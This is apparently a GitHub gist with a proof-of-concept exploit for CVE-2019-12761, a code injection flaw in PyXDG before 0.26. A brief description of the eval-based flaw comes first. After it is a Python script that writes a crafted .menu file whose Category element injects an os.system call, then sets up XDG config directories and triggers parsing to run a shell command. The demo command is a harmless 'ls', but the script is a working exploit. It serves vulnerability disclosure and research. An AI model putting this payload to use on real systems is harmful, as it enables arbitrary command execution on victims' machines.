A code injection issue was discovered in PyXDG before 0.26 via crafted Python code in a Category element of a Menu XML document in a .menu file. XDG_CONFIG_DIRS must be set up to trigger xdg.Menu.parse parsing within the directory containing this file. This is due to a lack of sanitization in xdg/Menu.py before an eval call.
Last active
February 16, 2022 08:15
-
-
Save dhondta/b45cd41f4186110a354dc7272916feba to your computer and use it in GitHub Desktop.
Proof-of-Concept for python-xdg 0.25 Python code injection (CVE-2019-12761)
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#!/usr/bin/python3 | |
import os | |
import shutil | |
from xdg.BaseDirectory import xdg_config_dirs | |
from xdg.Menu import parse | |
TEMP = "/tmp/poc-xdg" | |
MENU = "gnome-evil.menu" | |
RSLT = "{}/result.txt".format(TEMP) | |
CMD = "ls" | |
evil_menu = """<!DOCTYPE Menu PUBLIC "-//freedesktop//DTD Menu 1.0//EN" "http://www.freedesktop.org/standards/menu-spec/1.0/menu.dtd"> | |
<Menu> | |
<LegacyDir>{}</LegacyDir> | |
<Include> | |
<Category>' or __import__('os').system('{} > {}') or '</Category> | |
</Include> | |
</Menu> | |
""".format(TEMP, CMD, RSLT) | |
empy_shortcut = "[Desktop Entry]" | |
# 1. create a temporary folder | |
if not os.path.exists(TEMP): | |
os.makedirs(TEMP) | |
# 2. modify XDG_CONFIG_DIRS to also parse the newly created temporary location | |
xdg_config_dirs += [TEMP] | |
# 3. create the payload (it requires to be put in a 'menu' subfolder) | |
_ = "{}/menus".format(TEMP) | |
if not os.path.exists(_): | |
os.makedirs(_) | |
with open("{}/{}".format(_, MENU), 'w') as f: | |
f.write(evil_menu) | |
# 4. create an empty shortcut (required for parsing a menu entry and leading to | |
# the eval() statement) | |
with open("{}/sample.desktop".format(TEMP), 'w') as f: | |
f.write(empy_shortcut) | |
# 5. trigger parsing (this will automatically search in every location from | |
# XDG_CONFIG_DIRS for the given filename) | |
parse(MENU) | |
# 6. read injected command's result | |
with open(RSLT) as f: | |
print(f.read()) | |
# 7. cleanup | |
shutil.rmtree(TEMP) |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment